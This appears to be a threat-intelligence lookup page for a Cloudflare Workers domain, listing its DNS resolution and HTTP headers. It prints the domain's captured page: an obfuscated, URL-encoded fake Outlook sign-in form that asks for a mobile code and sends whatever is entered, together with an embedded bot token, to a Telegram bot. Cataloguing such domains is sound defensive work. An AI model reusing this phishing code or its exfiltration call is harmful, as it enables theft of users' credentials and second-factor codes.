Domain > clasiertis.riseengliswiw.workers.dev

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2025-10-24	104.21.46.88 (ClassC)

HTTP/1.1 200 OKDate: Fri, 24 Oct 2025 16:56:43 GMTContent-Type: text/html;charsetUTF-8Content-Length: 5921Connection: keep-aliveVary: accept-encodingReport-To: {group:cf-nel,max_age:604800,endpoints:{url:https://a.nel.cloudflare.com/report/v4?s6PJ%2Bi4IXTRtsSaXd2M2VFlUDjqsCJxlbxMks%2BCxg8eeVqBpv9DI8fVPOQQsaLG513N2mjBYOxqQvnZ0iZti7RPuHPgkBbG%2FptOOs8L2WJDbZNo3KEO3%2BBuwf4dnniR8y3k4%3D}}Nel: {report_to:cf-nel,success_fraction:0.0,max_age:604800}Server: cloudflareCF-RAY: 993b025479afa32d-PDXalt-svc: h3:443; ma86400

script>!--document.write(unescape(%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%20%20%3Chead%3E%0A%20%20%20%20%3Cmeta%20charset%3D%22utf-8%22%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%22%3E%0A%20%20%20%20%3Ctitle%3ESign%20in%20to%20Outlook%3C/title%3E%0A%20%20%20%20%3Clink%20href%3D%22style.css%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%20/%3E%0A%0A%20%20%20%20%3Cstyle%3E%0A%20%20%20%20%20body%7B%0A%20%20background%3A%20url%28%27https%3A//www.linkpicture.com/q/Screen-Shot-2022-01-30-at-10.27.21-PM.png%27%29%3B%0A%20%20padding%3A%200%3B%0A%20%20margin%3A%200%3B%0A%20%20background-size%3A%20cover%3B%0A%20%20font-family%3A%20Arial%2C%20Helvetica%2C%20sans-serif%3B%0A%7D%0A%0A.formal%20input%7B%0A%20%20border%3A%20none%3B%0A%20%20border-bottom%3A%201px%20solid%20%23999%3B%0A%20%20width%3A%20100%25%3B%0A%20%20padding%3A%205px%3B%0A%20%20font-size%3A%2016px%3B%0A%20%20outline%3A%20none%3B%0A%7D%0A.formal%7B%0A%20%20background%3A%20%23fff%3B%0A%20%20width%3A%2025%25%3B%0A%20%20margin%3A%20auto%3B%0A%20%20padding%3A%2040px%3B%0A%20%20margin-top%3A%2015%25%3B%0A%20%20box-shadow%3A0%202px%206px%20rgb%280%200%200%20/%2020%25%29%3B%0A%7D%0A%0A.noacc%7B%0A%20%20display%3A%20flex%3B%0A%20%20align-items%3A%20center%3B%0A%20%20width%3A%2050%25%3B%0A%20%20justify-content%3A%20space-between%0A%7D%0A%0A.button%20.next%7B%0A%20%20%20%20%20%20color%3A%20%23fff%3B%0A%20%20%20%20border-color%3A%20%230067b8%3B%0A%20%20%20%20background-color%3A%20%230067b8%3B%0A%7D%0A.button%20button%7B%0A%20%20padding%3A%2010px%3B%0A%20%20border%3A%20none%3B%0A%20%20width%3A%2048%25%3B%0A%20%20float%3A%20right%3B%0A%20%20font-weight%3A%20bold%3B%0A%7D%0A.button%7B%0A%20%20display%3A%20flex%3B%0A%20%20margin-top%3A%2010%25%3B%0A%20%20width%3A%2060%25%3B%0A%20%20justify-content%3A%20space-between%3B%0A%20%20float%3A%20right%3B%0A%7D%0A%0A.cant%2C%0A.noacc%20a%7B%0A%20%20color%3A%20%230067b8%3B%0A%20%20font-size%3A%2015px%3B%0A%7D%0A%0A.noacc%20p%7B%0A%20%20font-size%3A%2015px%3B%0A%7D%0A%0A.options%20.sign%7B%0A%20%20display%3A%20flex%3B%0A%20%20padding-left%3A%2020px%3B%20%0A%7D%0A.options%20svg%7B%0A%20%20%20%20%20%20width%3A%2032px%3B%0A%20%20%20%20height%3A%2032px%3B%0A%7D%0A.options%7B%0A%20%20background%3A%20%23fff%3B%0A%20%20width%3A%2030%25%3B%0A%20%20margin%3A%20auto%3B%0A%20%20margin-top%3A%202%25%3B%0A%20%20box-shadow%3A0%202px%206px%20rgb%280%200%200%20/%2020%25%29%3B%0A%7D%0A%0A%0A@media%28max-width%3A1200px%29%7B%0A.formal%7B%0A%20%20width%3A%2085%25%0A%7D%0A.options%7B%0A%20%20width%3A%2095%25%0A%7D%0A%0Abody%7B%0A%20%20background%3A%20%23fff%3B%0A%7D%0A%7D%0A%20%20%20%20%3C/style%3E%0A%20%20%3C/head%3E%0A%20%20%3Cbody%3E%0A%20%20%20%20%3Cform%20action%3D%22%22%20id%3D%22form%22%20method%3D%22%22%3E%0A%20%20%20%20%20%20%3Cdiv%20class%3D%22formal%22%3E%0A%20%20%20%20%20%20%20%20%3Cimg%20src%3D%22https%3A//aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg%22%20alt%3D%22%22%3E%0A%0A%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22sign%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3Ch1%3EEnter%20Code%20Sent%20To%20Your%20Mobile%3C/h1%3E%0A%20%20%20%20%20%20%20%20%20%20%3Cp%3Eto%20continue%20to%20Outlook%3C/p%3E%0A%20%20%20%20%20%20%20%20%3C/div%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20type%3D%22code%22%20placeholder%3D%22code%22%20id%3D%22pwd%22%3E%0A%20%20%20%20%20%20%20%20%3Cbr%3E%3Cbr%3E%0A%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22noacc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%22%3E%3C/a%3E%3Cbr%3E%3Cbr%3E%0A%20%20%20%20%20%20%20%20%3C/div%3E%0A%20%20%20%20%20%20%20%20%3Ca%20href%3D%22%22%20class%3D%22cant%22%3E%3C/a%3E%0A%20%20%20%20%20%20%20%20%3Cbr%3E%0A%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22button%22%20style%3D%22width%3A%20100%25%3B%20tetx-align%3Aright%3B%22%3E%0A%20%20%20%20%20%20%20%20%20%20%3Cbutton%20type%3D%22submit%22%20class%3D%22next%22%20style%3D%22float%3Aright%3B%22%3ENext%3C/button%3E%0A%20%20%20%20%20%20%20%20%3C/div%3E%0A%20%20%20%20%20%20%20%20%3Cbr%3E%3Cbr%3E%3Cbr%3E%0A%20%20%20%20%20%20%3C/div%3E%0A%20%20%20%20%20%20%3Cdiv%20class%3D%22options%22%3E%0A%20%20%20%20%20%20%20%20%3Cdiv%20class%3D%22sign%22%3E%0A%20%20%20%20%20%20%20%20%3Cimg%20src%3D%22https%3A//aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg%22%20alt%3D%22%22%3E%0A%20%20%20%20%20%20%20%20%3Cp%3ESign-in%20options%3C/p%3E%0A%20%20%20%20%20%20%20%20%3C/div%3E%0A%20%20%20%20%20%20%3C/div%3E%0A%20%20%20%20%20%20%3C/form%3E%0A%20%20%20%20%20%20%3Cscript%3E%0A%20%20%20%20%20%20const%20forma%20%3D%20document.querySelector%28%27%23form%27%29%0A%20%20%20%20%0A%20%20%20%20%20%20let%20bot%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%20%20TOKEN%3A%20%225257369656%3AAAFpj9cj0xT__GAUJcaCqe1vOEQKo__QKV4%22%2C%0A%20%20%20%20%20%20%20%20%20%20chatID%3A%20%221976449923%22%0A%20%20%20%20%20%20%7D%0A%0A%0A%20%20%20%20%20%20forma.addEventListener%28%22submit%22%2C%20e%20%3D%3E%7B%0A%20%20%20%20%20%20%20%20%20%20e.preventDefault%28%29%3B%0A%0A%20%20%20%20%20%20%20%20%20%20let%20pwd%20%3D%20document.querySelector%28%27%23pwd%27%29.value%0A%0A%20fetch%28%60https%3A//api.telegram.org/bot%24%7Bbot.TOKEN%7D/sendMessage%3Fchat_id%3D%24%7Bbot.chatID%7D%26text%3DO365%3D%3E%3DPassword%3A%3A-%24%7Bpwd%7D%3D%60%2C%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20method%3A%20%22GET%22%0A%20%20%20%20%20%20%20%20%20%20%7D%29.then%28success%20%3D%3E%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location.replace%28%22https%3A//outlook.office.com%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%7D%2C%20error%20%3D%3E%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20alert%28%22Message%20not%20sent%22%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20console.log%28error%29%0A%0A%20%20%20%20%20%20%20%20%20%20%7D%29%0A%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%7D%29%0A%3C/script%3E%0A%20%20%3C/body%3E%0A%3C/html%3E));//-->/script>>

Port 443

HTTP/1.1 200 OKDate: Fri, 24 Oct 2025 16:56:43 GMTContent-Type: text/html;charsetUTF-8Content-Length: 5921Connection: keep-aliveVary: accept-encodingReport-To: {group:cf-nel,max_age:604800,endpoints:{url:https://a.nel.cloudflare.com/report/v4?sMh9w%2Bu08CBShl7m3OJWhCBRAQOGrMAHuhyJn9H%2Fsu8asSQTGlwa5spyRiwKnL%2FR5IneHeLAf5DxLTNPrt9WJWu%2F5KMVZuJmlCiiN98D9iwFSg2Jaim%2Bvr%2BCMXhX3xS%2B%2BS%2FaT6A%3D%3D}}Nel: {report_to:cf-nel,success_fraction:0.0,max_age:604800}Server: cloudflareCF-RAY: 993b02557c41b7b9-PDXalt-svc: h3:443; ma86400

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > clasiertis.riseengliswiw.workers.dev

Is this malicious?

DNS Resolutions

Port 80

Port 443